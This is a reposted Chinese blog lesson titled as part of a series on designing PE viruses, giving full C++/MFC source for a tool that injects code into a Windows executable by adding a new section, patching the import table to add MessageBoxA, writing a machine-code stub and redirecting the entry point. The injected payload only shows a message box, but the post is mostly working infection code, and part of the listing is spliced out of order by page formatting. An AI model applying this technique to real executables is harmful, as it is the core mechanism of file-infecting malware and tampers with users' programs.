博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
第7讲:设计PE型病毒2
阅读量:5165 次
发布时间:2019-06-13

本文共 16467 字,大约阅读时间需要 54 分钟。

本节主要讲 通过添加新区块、修改输入表方法实现PE感染

本次课程涉及到的技术点有几个部分:

1,添加输入表项。

2,添加新区块。

 3,插入 Stub。

********************************************************************************************

下面是实现这个程序的主要步骤,其中使用内存映射机制来实现文件的操作。

1)添加用于存放Stub的新区块。添加新区块需要进行一下操作:

增加区块数量

添加区块信息

修正PE文件的映像大小

添加PE文件大小

********************************************************************************************

 Stub 要完成的任务很简单,显示消息框然后跳转到应用程序原始入口继续执行。

 需要修改程序的入口点指向 Stub ,应用程序执行时就会直接转到 Stub 执行。

 ********************************************************************************************

 新区块数据由以下7本分组成:

 1,输入表,原输入表数据复制到新区块,并为user32.dll的MessageBoxA加新项。

2,DLL名字符串,固定为“USER32.dll”,在输入表新项中使用。

3,函数名字符串,固定为“MessageBoxA”,在输入表新项中使用。

4,新输入表项所对应的IAT表。

5,Nag消息框的标题字符串。

6,Nag消息框的内容字符串。

 

以下为完整代码:

 PEInfo.h文件

#pragma oncetypedef struct _MAP_ITEM {    HANDLE    hFile ;    HANDLE    hMapFile ;    LPVOID    lpMapAddr ;} MAP_ITEM ;typedef MAP_ITEM* PMAP_ITEM ;typedef struct _BASE_INFO_ITEM {    DWORD    dwSectionAlign ; //块对齐大小    DWORD    dwFileAlign ;     //文件块对齐大小    WORD    dwSectionBase ;  //节表开始地址    WORD    dwSectionNum ;   //节表个数    DWORD    dwHeadSize ;     //所有头+节表大小,也可以以此值作为PE文件第一节的文件偏移量    DWORD    dwRealHeadSize ; //节表结束地址    DWORD    dwImageSize ;    //镜像大小    DWORD    dwFileSize ;     //文件大小} BASE_INFO_ITEM ;typedef BASE_INFO_ITEM* PBASE_INFO_ITEM ;class CPEInfo{public:    CPEInfo(void);public:    ~CPEInfo(void);public:    BOOL                    isReady ;    BASE_INFO_ITEM            BaseInfo ;    IMAGE_SECTION_HEADER    NewSection ;    public:    BOOL    CreateMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem ) ;    BOOL    CreateNewMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem, DWORD dwFileSize ) ;    VOID    DeleteMap    ( PMAP_ITEM pMapItem ) ;    BOOL    FlushData    ( LPVOID lpAddr, UINT nNumToFlush ) ;//清除数据public:    BOOL    IsValidPE        ( PMAP_ITEM pMapItem ) ;    VOID    GetBaseInfo        ( PMAP_ITEM pMapItem ) ;    VOID    InitNewSection    () ; //初始的新Section    VOID    AdjustSectionSize () ;        // 包含了映像大小和文件大小    VOID    AddNewSection    ( PMAP_ITEM pOldMap, PMAP_ITEM pNewMap, DWORD dwNewFileSize ) ;public:    DWORD    FormatInt ( DWORD dwValue, DWORD dwAlign ) ;};

PEInfo.cpp

#include "StdAfx.h"#include "PEInfo.h"CPEInfo::CPEInfo(void){    int ii = sizeof(IMAGE_OPTIONAL_HEADER);    isReady = FALSE ;    memset ( &BaseInfo, 0, sizeof(BASE_INFO_ITEM) ) ;//新申请的内存做初始化工作    memset ( &NewSection, 0, sizeof(IMAGE_SECTION_HEADER) ) ;//新申请的内存做初始化工作}CPEInfo::~CPEInfo(void){}BOOL CPEInfo::CreateMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem ) {        pMapItem->hFile =    CreateFile (         pPathName,                            GENERIC_READ,         FILE_SHARE_READ|FILE_SHARE_WRITE,          NULL,         OPEN_EXISTING,         FILE_ATTRIBUTE_NORMAL ,        NULL         );    if ( pMapItem->hFile == INVALID_HANDLE_VALUE )    {        return FALSE;    }        //创建文件映射内核对象    pMapItem->hMapFile = CreateFileMapping ( pMapItem->hFile, NULL, PAGE_READONLY, 0, 0, NULL    ) ;    if ( pMapItem->hMapFile == NULL )    {        CloseHandle ( pMapItem->hFile ) ;        return FALSE;    }        //创建文件视图    pMapItem->lpMapAddr = (PBYTE)MapViewOfFile ( pMapItem->hMapFile, FILE_MAP_READ, 0, 0, 0 ) ;    if ( pMapItem->lpMapAddr == NULL )    {        DWORD dwErrorCode = GetLastError () ;        CloseHandle ( pMapItem->hMapFile ) ;        CloseHandle ( pMapItem->hFile ) ;        return FALSE;    }        return TRUE ;}BOOL CPEInfo::CreateNewMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem, DWORD dwFileSize ) {        pMapItem->hFile =    CreateFile (         pPathName,                            GENERIC_READ|GENERIC_WRITE,         FILE_SHARE_READ|FILE_SHARE_WRITE,          NULL,         CREATE_ALWAYS,         FILE_ATTRIBUTE_NORMAL ,        NULL         );    if ( pMapItem->hFile == INVALID_HANDLE_VALUE )    {        return FALSE;    }        //创建文件映射内核对象    pMapItem->hMapFile = CreateFileMapping ( pMapItem->hFile, NULL, \                            PAGE_READWRITE, 0, dwFileSize, NULL    ) ;    if ( pMapItem->hMapFile == NULL )    {        CloseHandle ( pMapItem->hFile ) ;        return FALSE;    }        //创建文件视图    pMapItem->lpMapAddr = (PBYTE)MapViewOfFile ( pMapItem->hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0 ) ;    if ( pMapItem->lpMapAddr == NULL )    {        DWORD dwErrorCode = GetLastError () ;        CloseHandle ( pMapItem->hMapFile ) ;        CloseHandle ( pMapItem->hFile ) ;        return FALSE;    }        return TRUE ;}void  CPEInfo::DeleteMap ( PMAP_ITEM pMapItem ){    UnmapViewOfFile ( pMapItem->lpMapAddr ) ;    CloseHandle ( pMapItem->hMapFile ) ;    CloseHandle ( pMapItem->hFile ) ;}BOOL  CPEInfo::FlushData ( LPVOID lpAddr, UINT nNumToFlush ){    return FlushViewOfFile ( lpAddr, nNumToFlush ) ;}BOOL  CPEInfo::IsValidPE        ( PMAP_ITEM pMapItem ){    return TRUE ;} VOID  CPEInfo::GetBaseInfo        ( PMAP_ITEM pMapItem ){    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(pMapItem->lpMapAddr) ;    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(pMapItem->lpMapAddr)+ (pDosHeader->e_lfanew)) ;    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;    BaseInfo.dwSectionAlign    = pOptionalHeader->SectionAlignment ;// 内存中的区块的对齐大小    BaseInfo.dwFileAlign        = pOptionalHeader->FileAlignment ;// 文件中的区块的对齐大小    BaseInfo.dwSectionNum        = pNtHeader->FileHeader.NumberOfSections ;//PE文件中有多少个节    BaseInfo.dwHeadSize        = pOptionalHeader->SizeOfHeaders ;// 所有头 + 区块表的尺寸大小    BaseInfo.dwSectionBase    = pDosHeader->e_lfanew + 0x18 + pNtHeader->FileHeader.SizeOfOptionalHeader;//块表开始的地址DOS_Header+File__Header+Optional Header    BaseInfo.dwRealHeadSize    = BaseInfo.dwSectionBase + BaseInfo.dwSectionNum * 0x28 ;//块表结束的地址    BaseInfo.dwImageSize        = pOptionalHeader->SizeOfImage ;    PIMAGE_SECTION_HEADER LastSec    = (PIMAGE_SECTION_HEADER)((LONG)(pMapItem->lpMapAddr) + BaseInfo.dwSectionBase + 0x28 * ( BaseInfo.dwSectionNum - 1 ) ) ;    BaseInfo.dwFileSize        = LastSec->PointerToRawData + FormatInt ( LastSec->SizeOfRawData, pOptionalHeader->FileAlignment );//文件的大小}VOID  CPEInfo::InitNewSection    (){    strcpy ( (char*)NewSection.Name, ".NewSec" ) ;    NewSection.Misc.VirtualSize    = BaseInfo.dwSectionAlign ;    NewSection.VirtualAddress        = BaseInfo.dwImageSize ;    NewSection.SizeOfRawData        = BaseInfo.dwFileAlign ;    NewSection.PointerToRawData    = BaseInfo.dwFileSize ;    NewSection.Characteristics    = 0xE0000020 ;}DWORD CPEInfo::FormatInt ( DWORD dwValue, DWORD dwAlign ){    if ( dwValue % dwAlign )        return ( dwValue / dwAlign + 1 ) * dwAlign ;    return dwValue / dwAlign * dwAlign ;}void CPEInfo::AdjustSectionSize (){    if ( NewSection.Misc.VirtualSize < NewSection.SizeOfRawData )        NewSection.Misc.VirtualSize = NewSection.SizeOfRawData ;    if ( NewSection.Misc.VirtualSize % BaseInfo.dwSectionAlign )        NewSection.Misc.VirtualSize = NewSection.Misc.VirtualSize / BaseInfo.dwSectionAlign + 1 ;    else        NewSection.Misc.VirtualSize = NewSection.Misc.VirtualSize / BaseInfo.dwSectionAlign ;    NewSection.Misc.VirtualSize *= BaseInfo.dwSectionAlign ;    if ( NewSection.SizeOfRawData % BaseInfo.dwFileAlign )        NewSection.SizeOfRawData = NewSection.SizeOfRawData / BaseInfo.dwFileAlign + 1 ;    else        NewSection.SizeOfRawData = NewSection.SizeOfRawData / BaseInfo.dwFileAlign ;    NewSection.SizeOfRawData *= BaseInfo.dwFileAlign ;}void CPEInfo::AddNewSection ( PMAP_ITEM pOldMap, PMAP_ITEM pNewMap, DWORD dwNewFileSize ){    memcpy ( LPVOID(pNewMap->lpMapAddr), LPVOID(pOldMap->lpMapAddr), NewSection.PointerToRawData ) ;    // Fix PE Head's some item    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(pNewMap->lpMapAddr) ;    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(pNewMap->lpMapAddr)+ (pDosHeader->e_lfanew)) ;    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;     // Increase section numbers    pNtHeader->FileHeader.NumberOfSections ++ ;    // Write into new IMAGE_SECTION_HEADER    memcpy ( LPVOID(DWORD(pDosHeader)+BaseInfo.dwRealHeadSize), &(NewSection), 0x28 ) ;    // Modify IMAGE SIZE    pOptionalHeader->SizeOfImage += NewSection.Misc.VirtualSize ;    FlushData ( pNewMap->lpMapAddr, dwNewFileSize ) ;}
NagGenDlg.h文件

#pragma once

#include "PEInfo.h"

#include "Dbghelp.h"

#pragma comment ( lib, "Dbghelp.lib" )

// CNagGenDlg 对话框

class CNagGenDlg : public CDialog
{

public:

CPEInfo PEInfo ;

DWORD dwDllNameOff, dwFunNameOff, dwIATOff, dwIIDNum, dwNewEntryOff, dwNagTitleOff, dwNagContentOff ;

CString m_NagTitle;

#include "stdafx.h"#include "NagGen.h"#include "NagGenDlg.h"#ifdef _DEBUG#define new DEBUG_NEW#endif#define MAX_BUF_SIZE        2048#define MAX_TITLE_SIZE        64#define MAX_CONTENT_SIZE    256TCHAR a[] = TEXT("fjda") ;TCHAR b[] = TEXT("fdsadagfdsa") ;////void StubCode ()//{    //    PTCHAR pTitle    = NULL ;//    PTCHAR pContent    = NULL ;////    DWORD begin, end ;//    __asm//    {//        push    edx//        call    $+5//        pop        edx//        add        edx, 7//        mov        begin, edx//BEGIN://        pushad//        push    0//        push    pTitle//        push    pContent//        push    0//        call    dword ptr MessageBoxW//        popad//END:    //        call    $+5//        pop        edx//        add        edx, -5//        mov        end, edx//        pop        edx//    }//}void CNagGenDlg::OnBnClickedOk(){    MAP_ITEM OldMap = {
0}, NewMap = {
0} ;//初始化数据 TCHAR pBuf[MAX_BUF_SIZE] = {
0} ; BYTE pData[MAX_BUF_SIZE] ={
0} ; wsprintf ( pBuf, m_PathName.GetBuffer(m_PathName.GetLength()) ) ;//m_PathName需要修改的PE文件 if ( PEInfo.CreateMap(pBuf, &OldMap) == FALSE ) //创建文件映射到内存 { MessageBox ( TEXT("Please ensure this file is not been used!") ) ; return ; } // 取得PE文件基本信息 PEInfo.GetBaseInfo (&OldMap) ; // 初始化新区段信息 PEInfo.InitNewSection () ; // 产生并组合数据,保存到pData缓冲区,并根据所需要的长度对区段信息进行调整 DWORD dwNeedSize = GenerateData ( pData, OldMap.lpMapAddr );//生成数据 if ( PEInfo.NewSection.SizeOfRawData < dwNeedSize )//判断所需的大小,并确定大小 PEInfo.NewSection.SizeOfRawData = dwNeedSize ; PEInfo.AdjustSectionSize () ; // 建立新文件(*_nag.exe) CString TempStr = m_PathName ; DWORD dwNewFileSize = PEInfo.NewSection.PointerToRawData + PEInfo.NewSection.SizeOfRawData ; TempStr.SetAt ( TempStr.GetLength()-4, 0 ) ; wsprintf ( pBuf, TEXT("%s%s"), TempStr.GetBuffer(TempStr.GetLength()), TEXT("_nag.exe") ) ; if ( PEInfo.CreateNewMap ( pBuf, &NewMap, dwNewFileSize ) == FALSE ) { MessageBox ( TEXT("Could't create new file!") ) ; DeleteFile ( pBuf ) ; return ; } // 添加区块信息 PEInfo.AddNewSection ( &OldMap, &NewMap, dwNewFileSize ) ; // 删除原PE文件的映射 PEInfo.DeleteMap ( &OldMap ) ; // 把pData中的数据写入到新区块( contain IID, NewDllName, NewFunName, NewIat) LPVOID lpNewSection = LPVOID(DWORD(NewMap.lpMapAddr)+PEInfo.NewSection.PointerToRawData) ; memcpy ( lpNewSection, pData, PEInfo.NewSection.SizeOfRawData ) ; // 取得PE头信息 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(NewMap.lpMapAddr) ; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((LONG)(NewMap.lpMapAddr)+ (pDosHeader->e_lfanew)) ; PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ; // 写入新IID信息 IMAGE_IMPORT_DESCRIPTOR // 如果OriginalFirstThunk 字段的值为0,加载就不会改写IAT,也就是说,需要自己向IAT写入对应函数的地址 // 这里把OriginalFirstThunk的值设置为与FirstThunk相同,这样初始化的时候加载器就会改写IAT PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)lpNewSection + 0x14 * dwIIDNum) ; pIID->Name = dwDllNameOff + PEInfo.NewSection.VirtualAddress ; pIID->FirstThunk = dwIATOff + PEInfo.NewSection.VirtualAddress ; pIID->OriginalFirstThunk = pIID->FirstThunk ; pIID->ForwarderChain = 0xFFFFFFFF ; pIID->TimeDateStamp = 0xFFFFFFFF ; *((DWORD*)(dwIATOff + (DWORD)lpNewSection)) = dwFunNameOff + PEInfo.NewSection.VirtualAddress ; // 修改数据目录项中输入表项信息 pOptionalHeader->DataDirectory[1].VirtualAddress = PEInfo.NewSection.VirtualAddress ; pOptionalHeader->DataDirectory[1].Size += 0x14 ; // 清楚绑定输入表 pOptionalHeader->DataDirectory[11].VirtualAddress = 0 ; pOptionalHeader->DataDirectory[11].Size = 0 ; // 修改OEP pOptionalHeader->AddressOfEntryPoint = dwNewEntryOff + PEInfo.NewSection.VirtualAddress ; PEInfo.FlushData ( LPVOID(PEInfo.NewSection.VirtualAddress), PEInfo.NewSection.SizeOfRawData ) ; PEInfo.DeleteMap ( &NewMap ) ; MessageBox ( TEXT("添加Nag窗口成功!") ) ;}//生成新区块数据DWORD CNagGenDlg::GenerateData(PBYTE pData, LPVOID lpImageBase){ // 取得PE文件基本信息 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(lpImageBase) ; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((LONG)(lpImageBase)+ (pDosHeader->e_lfanew)) ; PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ; PIMAGE_DATA_DIRECTORY pImportData = (PIMAGE_DATA_DIRECTORY)(&( pOptionalHeader->DataDirectory[1]) ) ; // //定位到导入表 //IMAGE_IMPORT_DESCRIPTOR *pImportDesc=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR) ImageRvaToVa ( pNtHeader, lpImageBase, pImportData->VirtualAddress, NULL ) ; // 把原IID表拷贝到缓冲区 memcpy ( pData, LPVOID(pIID), pOptionalHeader->DataDirectory[1].Size );//ImportTable //统计IID数量(dll的数量) dwIIDNum = 0 ; while ( pIID[dwIIDNum].FirstThunk ) dwIIDNum ++ ; char szDllName[] = "USER32.dll" ; char szFunName[] = "MessageBoxA" ; // 设置偏移信息 dwDllNameOff = pOptionalHeader->DataDirectory[1].Size + 0x14; dwFunNameOff = dwDllNameOff + sizeof (szDllName) + 3 ; dwIATOff = dwFunNameOff + sizeof (szFunName) + 4 ; dwNagTitleOff = dwIATOff + 12 ; // 写入DLL名 memcpy ( &(pData[dwDllNameOff]), szDllName, sizeof(szDllName) ) ; // 写入函数名 memcpy ( &(pData[dwFunNameOff+2]), szFunName, sizeof(szFunName) ) ; // 2, 序号 CHAR pTitle[128] = {
0}, pContent[512] = {
0} ; ::GetDlgItemTextA ( GetSafeHwnd(), IDC_NAG_TITLE, pTitle, 128 ) ; ::GetDlgItemTextA ( GetSafeHwnd(), IDC_NAG_CONTENT, pContent, 512 ) ; // 设置偏移信息(NagTitle + NagContent) dwNagContentOff = dwNagTitleOff + strlen(pTitle) + 1 ; dwNewEntryOff = dwNagContentOff + strlen(pContent) + 1 ; // 把NagTitle和NagContent信息写入缓冲区 wsprintf ( PTCHAR(&pData[dwNagTitleOff]), TEXT("%s"), pTitle ) ; wsprintf ( PTCHAR(&pData[dwNagContentOff]), TEXT("%s"), pContent ) ; // // Stub Code ( 0x11111111为数据占位符,需修正) 0x6a,push 命令, 0xe8,cal命令 // pushad 60 // push 0 6A 0x00 // push 0x11111111 68 11111111 // push 0x11111111 68 11111111 // push 0 6A 00 // call dword ptr MessageBoxW FF15 11111111 // popad 61 // jmp 0x11111111 E9 11111111 ///// //Stub数据 BYTE pbCommand[] = { 0x60, 0x6A, 0x00, 0x68, 0x11, 0x11, 0x11, 0x11, \ 0x68, 0x11, 0x11, 0x11, 0x11, 0x6A, 0x00, 0xFF, 0x15, 0xBC, 0xF2, 0x42, 0x00, 0x61, \ 0xE9, 0x11, 0x11, 0x11, 0x11 } ; // 统计Stub Code长度,然后写入pData缓冲区 DWORD dwStubLength = sizeof(pbCommand); memcpy ( &(pData[dwNewEntryOff]), pbCommand, dwStubLength ) ; // 计算 JMP 指令的操作数 DWORD dwOldEntryRVA = pOptionalHeader->AddressOfEntryPoint ; DWORD dwNewEntryRVA = PEInfo.NewSection.VirtualAddress + dwNewEntryOff + 22 ; DWORD dwJmpDist = dwOldEntryRVA - dwNewEntryRVA - 5 ; // 修正TitleVA *((DWORD*)(&(pData[dwNewEntryOff+4]))) = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwNagTitleOff ; // 修正ContentVA *((DWORD*)(&(pData[dwNewEntryOff+9]))) = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwNagContentOff ; // 修正 CALL [0x********] *((DWORD*)(&(pData[dwNewEntryOff+17]))) = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwIATOff ; // 修正 JMP 的操作数 ==> E9 ** ** ** ** *((DWORD*)(&(pData[dwNewEntryOff+23]))) = dwJmpDist ; // 返回总长度 return dwNewEntryOff + dwStubLength + 0x10 ;}

 

 

 

CString m_NagContent;

afx_msg void OnBnClickedOk();
DWORD GenerateData(PBYTE pData, LPVOID lpImageBase);
};

 

 

转载于:https://www.cnblogs.com/mayingkun/p/4774685.html

你可能感兴趣的文章
python flask解决上传下载的问题
查看>>
博客园原始直链视频插入
查看>>
语法测试
查看>>
代码高亮测试
查看>>
CES1
查看>>
CES2
查看>>
多波次导弹发射中的规划问题(二)
查看>>
python 数据类型_数组和元组
查看>>
python 数据类型_整数_浮点数
查看>>
数据结构----prim算法 最小生成树
查看>>
python 数据类型_字典和集合
查看>>
算法笔记_170:历届试题 分糖果(Java)
查看>>
一种并行随机梯度下降法
查看>>
文件方式实现完整的英文词频统计实例
查看>>
ListControl的用法
查看>>
单个SWF文件loading加载详解(转)
查看>>
Python3 指定文件夹下所有文件(包括子目录下的文件)拷贝到目标文件夹下
查看>>
SQLServer中的CTE通用表表达式
查看>>
ural 1133. Fibonacci Sequence
查看>>
压缩图片
查看>>